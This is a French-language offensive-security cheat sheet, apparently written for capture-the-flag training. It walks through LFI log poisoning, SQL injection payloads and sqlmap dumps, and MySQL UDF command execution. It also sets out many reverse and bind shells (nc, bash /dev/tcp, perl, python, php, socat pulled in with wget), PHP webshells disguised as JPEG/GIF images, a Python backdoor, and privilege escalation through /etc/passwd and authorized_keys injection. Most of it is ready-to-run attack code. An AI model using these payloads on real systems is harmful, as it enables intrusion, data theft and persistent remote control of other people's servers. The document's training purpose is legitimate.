Nous injectons une payload dans le fichier de logs d'un serveur en faisant une requête : nginx, apache, ssh... Nous utilisons ensuite une LFI pour déclencher la payload. Fichiers de logs: Apache /var/log/apache/access.log /var/log/apache/error.log /usr/local/apache/log/error_log /usr/local/apache2/log/error_log /var/log/httpd/error_log Nginx /var/log/nginx/access.log /var/log/nginx/error.log Ssh /var/log/sshd.log Il est possible de vérifier l'emplacement des fichiers de logs en lisant les fichiers de config. Fichier de config de Nginx: /etc/nginx/nginx.conf Entrée du fichier de config : access_log /spool/logs/nginx-access.log
Injecter des commandes SQL dans les paramêtres pour réécrire la requête.
SELECT * FROM user WHERE login='[USER]' and password='[PASSWORD]';
Méthode : fermer la ', élargir la requête avec OR 1=1, ajouter des valeurs avec UNION, commenter la fin de la requête avec # ou -- -
SELECT * FROM user WHERE login='admin' OR 1=1 -- - and password='bob';
curl http://target/login.pgp?login=admin' OR 1=1 -- -&password=bob
Injecter des fermetures de string ' ou " pour générer une erreur. Injecter un sleep et remarquer un retard de la réponse.
admin' and sleep(5) and '1'='1
admin" and sleep(5) and "1"="1
Généralement les développeurs prennent la première entrée. Mais parfois ils vérifient qu'il n'y en a bien qu'une seule.
admin' or 1=1 LIMIT 1 -- -
Les développeurs filtrent parfois de caractères ou des mot:
Space => Tab %09, Newline %A0, /**/
AND => && %26%26
OR => ||
Quand la requête sert à afficher des entrées (ex: liste d'objets), on peut ajouter des valeurs avec un UNION. Il faut commencer par identifier le nombre d'entrées qu'attend le select
SELECT id, name, desc, price FROM stock WHERE name=[NAME]
Methode 1: ORDER BY
SELECT id, name, desc, price FROM stock WHERE name='mouse' order by 1-- - : Ok
SELECT id, name, desc, price FROM stock WHERE name='mouse' order by 2-- - : Ok
SELECT id, name, desc, price FROM stock WHERE name='mouse' order by 2-- - : Ok
SELECT id, name, desc, price FROM stock WHERE name='mouse' order by 2-- - : Ok
SELECT id, name, desc, price FROM stock WHERE name='mouse' order by 2-- - : Erreur
=> 4 entrées
Methode 2: SELECT
SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1 : Erreur
SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1,2 : Erreur
SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1,2,3 : Erreur
SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1,2,3,4 : Ok
=> 4 entrées
SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1,2,table_name,table_name FROM information_schema.tables; -- -
SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1,2,column_name,column_name FROM information_schema.columns WHERE table_name='users'; -- -
UNION SELECT concat(name,':',pass),1 FROM users; -- -
SQLi sur les paramètres d'un GET
$ sqlmap -u 'http://10.10.10.129/sqli/example1.php?name=root' --dbs --banner
SQLi sur les paramètres d'un POST. Intercepter la requète avec Burp, et la sauver dans un fichier dologin.txt
$ sqlmap -r login.txt --dbs --banner
-p name : forcer le paramètre à tester
Lister les tables, puis dumper une table
$ sqlmap -r login.txt -D jetadmin --tables
$ sqlmap -r login.txt -D jetadmin -T users --dump
Compiler une librairie UDF contenant le fonction sys_exec() L'uploader sur le serveur. La déclarer. La fonction sys_exec() permet de lancer des commandes.
select sys_exec('/bin/sh');
after bash access, “bash –p” or “sudo su”
Tested with : mysql 5.5.60-0+deb8u1
Create a 'User Defined Function' calling C function 'system'
Use pre-compiled 32 or 64 depending on target.
Copy file to /tmp
create database exploittest;
use exploittest;
create table bob(line blob);
insert into bob values(load_file('/tmp/lib_mysqludf_sys.so'));
select * from bob into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so
create function sys_exec returns int soname 'lib_mysqludf_sys.so';
select sys_exec('nc 11.0.0.21 4444 -e /bin/bash');
Netcat, est le couteau suisse des connections entre serveurs. Il peut se mettre en écoute, se connecter et lancer des shells. Les anciennes versions possédaient l'option -e ou -c qui permet de connecter un shell. Les version récentes ne possèdent plus cette option pour des raisons de sécurité Sur Kali on trouve une version 1.10 en :
/usr/bin/nc -h
-e shell commands : program to execute
-c shell commands : program to execute
-l : listen mode
-v : verbose
-p port : local port number
Mettre un nc en écoute sur la kali
nc -lvp 4444
Lancer un reverse shell sur le serveur, qui lance un shell, vient se connecter sur le netcat en écoute, et donne accès au shell.
nc -e /bin/sh IPKALI 4444
Pour utiliser un reverse shell il faut connaitre l'IP publique de sa Kali.
Mettre un nc en écoute sur la kali
nc -lvp 4444
Lancer un reverse shell sur le serveur, qui lance un shell, vient se connecter sur le netcat en écoute, et donne accès au shell.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IPKALI 4444 >/tmp/f
Le shell obtenu avec nc est basique. Ce n'est pas un tty. Certaines commandes comme su vont refuser de fonctionner. Pour upgrader notre shell, utiliser python pour avoir un shell de type tty:
python -c 'import pty; pty.spawn("/bin/bash")'
Le shell obtenu avec nc est basique. La completion avec le Tab, l'historique avec les flèches ne sont pas gérés. !!: Tenter cette manip dans un browser va juste freezer le shell. Le browser modifie lui aussi les codes des touches. Ca ne marche que dans une VM Passer le nc en arrière plan avec:
Ctr-Z
Puis demander au shell actuel de passer les codes des touches brutes au shell distant, et repasser sur le netcat (foreground)
stty raw -echo
fg
Tant que votre nc est connecté, vous bloquez un thread du serveur web. En fonction de la configuration du serveur, il peut avoir 6, 16, 32 threads... Dont autant de nc en parallèles avant saturation. Pour libérer le serveur pour les copains: Dans le nc connecté, choisissez un second port et lancez un second bindshell netcat en arrière plan:
binshell:
nohup bash -c 'while true; do nc -e /bin/bash -lvp 4445; done;' &
reverse shell:
nohup bash -c 'bash -i >& /dev/tcp/IPKALI/4444 0>&1' &
La commande nohup va détacher le process nc du shell en cours. Faites un Ctrl-C pour couper la connection nc, la page avec votre webshell se libère. Un autre utilisateur peut se connecter. Lancer un nouveau nc pour vous connecter à ce nouveau bindshell:
Un bind shell est utile quand notre Kali est derrière un NAT. Ce shell est fragile, un scan de port va le déclencher et le fermer. Lance un shell, ouvre une socket TCP en écoute sur le port 4444, et donne accès au shell au premier qui se connecte.
nc -e /bin/sh -lvp 4444
Se connecte au netcat distant pour avoir accès au shell.
nc iptarget 4444
Lancer un bind shell sur la cible
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash 2>&1|nc -lp 4444 >/tmp/f
Se connecter avec un nc
nc victim 4444
Socat est un nc sous stéroides. Il permet une authentification et un chiffrement des communications. On le trouve rarement sur les serveurs, il faut l'uploader. Mettre un socat en écoute
socat file:`tty`,raw,echo=0 TCP-L:4444
Lancer un reverse shell avec un socat
$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4444
Automatiser l'upload et le reverse shell:
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242
Pwncat est un nc sous stéroides.
https://github.com/cytopia/pwncat
Mettre un nc en écoute sur la kali
nc -lvp 4444
bash -i >& /dev/tcp/IPKALI/4444 0>&1
Mettre un nc en écoute sur la kali
nc -lvp 4444
perl -e 'use Socket;$i="IPKALI";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Mettre un nc en écoute sur la kali
nc -lvp 4444
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((IPKALI,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(/bin/bash)'
Mettre un nc en écoute sur la kali
nc -lvp 4444
php -r '$sock=fsockopen("IPKALI",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
Uploader la page
<?php echo 'Shell: ';system($_GET['cmd']); ?>
Lancer la commande 'id' sur le server.
curl http://IPSERVER/cmd.php?cmd=id
Uploader la page
<pre><?php echo 'Shell: ';system($_GET['cmd']); ?></pre>
Lancer la commande 'id' sur le server.
curl http://IPSERVER/cmd.php?cmd=id
Parfois certain caractères comme les ; les & ou les | sont filtrés. Un encodage base64 permet de s'en sortir. Dans un shell encoder en base64:
$ printf 'system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IPKALI 4444 >/tmp/f");' | base64
Code PHP du reverse shell
eval(base64_decode('c3lzdGVtKCJyEtxxxxxxxxxEkgNDQ0NCA+L3RtcC9mIik7='));
Lancer un bind shell sur la cible
import sys,socket,time,re,subprocess,os
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('0.0.0.0',4444))
sock.listen(5)
conn,addr = sock.accept()
conn.send('== YOLO Backdoor ==\n\n>')
while 1:
data = conn.recv(1024)
cmd = data.strip().split(' ')
if cmd[0] == 'cd':
os.chdir(cmd[1])
elif cmd[0] in ('exit'):
break
else:
conn.send(subprocess.check_output(cmd)+'\n>')
conn.close()
sock.shutdown(socket.SHUT_RDWR)
sock.close()
Un fichier jpeg est identifié par ses premiers octets qui ont la valeur : ffd8ffe0
Pour générer un fichier qui sera identifié comme ayant une entête Jpeg valide:
printf "\xff\xd8\xff\xe0<?php system('id'); ?>" > webshell.jpg
Ce fichier sera reconnu comme un fichier jpg
$ file webshell.jpg
webshell.jpg: JPEG image data
Un fichier gif est identifié par ses premiers octets qui ont la valeur : GIF89a;
Pour générer un fichier qui sera identifié comme ayant une entête gif valide:
printf "GIF89a;<?php system('id'); ?>" > webshell.gif
Ce fichier sera reconnu comme un fichier gif
$ file webshell.gif
webshell.gif: GIF image data
Un fichier image contient de nombreuses informations : date de prise de vue, localisation, type d'appareil photo... Nous pouvons injecter du code php dans ces données.
exiftool -Comment='<?php system('id'); ?>' webshell.jpg
A lire pour en savoir plus Liste de webshells
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
Webshell en pure php: php-reverse-shell.php
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
Yop Webshell: yopwebshell.php Yolo Webshell: yolowebshell.php
Des que vous pouvez lancer une commande sur votre cible, vous avez besoin de transférer des fichiers textes ou binaires.
Un encodage en base64 permet des copier/coller de fichiers sans se soucier du binaire ou des retours à la ligne
cat file | base64
printf 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' | base64 -d > file
Lancer un serveur HTTP et faire un wget, curl
python -m SimpleHTTPServer 8000
php -S localhost:8000
Avec un accès ssh
scp file.txt remote_username@10.10.0.2:/remote/directory
scp -i id_rsa file.txt remote_username@10.10.0.2:/remote/directory
scp -P 2222 file.txt remote_username@10.10.0.2:/remote/directory
scp remote_username@10.10.0.2:/remote/file.txt /local/directory
Pour obtenir une élévation de privilège, nous allons faire un inventaire exhaustif de ce qu'il a sur le serveur.
Des scripts font ces énumérations pour nous. Ils sont utiles une fois que l'on sait ce que l'on cherche.
Rechercher les fichiers lisibles dans les autres comptes.
find /home -readable -type f \( -iname \*.txt -o -iname \*.cfg \) 2>/dev/null
find /home -E . -regex '.*\.(txt|cfg)' 2>/dev/null
Le fichier de config s'appelle:
wp-config.php
Pour le chercher:
find /var -name wp-config.php 2>/dev/null
Ce fichier contient les login/password pour se connecter à la base de donnée.
Le fichier de config peut porter deux noms:
httpd.conf
apache2.conf
On le trouve généralement dans un des répertoires:
/etc/apache2/httpd.conf
/etc/apache2/apache2.conf
/etc/httpd/httpd.conf
/etc/httpd/conf/httpd.conf
Le fichier de config porte le nom:
server.xml
Les mots de passe des utilisateurs se trouvent dans:
tomcat-users.xml
On trouve généralement ces fichiers dans un des répertoires:
TOMCAT-HOME/conf/
/usr/local/tomcat/conf/
Sudo permet de lancer des commandes en tant qu'un autre utilisateur.
sudo -l
L'utilisateur user1 peut utiliser les commandes suivantes sur target-host :
(ALL) NOPASSWD: /usr/bin/find
user2 NOPASSWD: /usr/bin/python3 /home/user2/run.py
Il est alors possible de lancer des commandes en tant que root ou un autre utilisateur avec le flag -u xxx
sudo /usr/bin/find
sudo -u user2 /usr/bin/python3 /home/user2/run.py
Si l'option NOPASSWD n'est pas définie, laa commande sudo demande le mot de passe du compte courant. Si vous être entré par un webshell, ou une connection ssh avec clef privée, il faudra se débrouiller pour connaitre le mot de passe.
Identifier les process possédant un sticky bit
find / -perm -4000 -exec ls -al {} \; 2>/dev/null
Que faire avec un binaire possédant un sticky bit ?
- Lancer un shell
- Lire un flag
- Copier un fichier
- Ajouter une ligne à un fichier : /etc/sudoers, /etc/passwd, ~/.ssh/authorized_keys
De nombreux process permettent de lancer un shell. Idéal s'ils sont en sudo ou avec un sticky bit.
find
nmap
vi
less
awk
tee...
Reference: https://gtfobins.github.io/
Si une commande avec les droits root permet d'ajouter une ligne: ex: tee
echo XXMONCOMPTEADMINPERSO::0:0:::/bin/bash | sudo tee -a /etc/passwd
su XXMONCOMPTEADMINPERSO
Si une commande avec les droits root permet d'ajouter une ligne: ex: tee
echo 'ssh-rsa AAAAB3xxxxxxtCHN2CpQ== yolo@yoloctf.org' | sudo tee -a /home/victim/.ssh/authorized_keys
ssh -i id_rsa victim@iptarget
Identifier les process lancés par root
ps eaxf
Identifier les taches lancées par cron.
cat /etc/cron.d/*
cat /var/spool/cron/*
crontab -l
cat /etc/crontab
cat /etc/cron.(time)
systemctl list-timers
Identifier les process qui tournent régulièrement en tache de fond.
https://github.com/DominicBreuker/pspy
Version de la distribution:
cat /etc/issue
Ubuntu 18.04.3 LTS
Version du kernel: 5.0.0-37-generic
uname -a
Linux yoloctf-server 5.0.0-37-generic #40~18.04.1-Ubuntu SMP Thu Nov 14 12:06:39 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
Une fois la version du kernel connue, il est possible de chercher un Exploit Kernel https://github.com/SecWiki/linux-kernel-exploits Ne jamais lancer un binaire ! Toujours récupérer les sources, les lire et les compiler...
Des scripts font une énumération complete. Il faut les tester et trouver celui qui a le format de sortie qui convient le mieux.
LinEnum.sh : https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh
linuxprivchecker.py : https://github.com/sleventyeleven/linuxprivchecker
unixprivesc.sh : https://github.com/pentestmonkey/unix-privesc-check
lse.sh : https://github.com/diego-treitos/linux-smart-enumeration
linPeass : https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
L'Open Web Application Security Project (OWASP) est une communauté, fondée en 2001, qui produit et met gratuitement à disposition des articles, méthodologies, outils... Elle publie tous les ans le Top 10 des failles de sécurités Web. Elle publie l'OWASP Testing Guide : un guide des best practices depentesting. Elle publie l'OWASP Development Guide: un guide visant à écrire du code sans failles de sécurité. Site officiel: https://www.owasp.org
Mitre est l'organisation, financée par la Défense des Etats unis, qui a mis en place et maintient le référencement des CVE: Common Vulnerabilities and Exposures) https://en.wikipedia.org/wiki/Mitre_Corporation
Une CVE, pour Common Vulnerabilities and Exposures, est une référence pour une faille de sécurité. https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures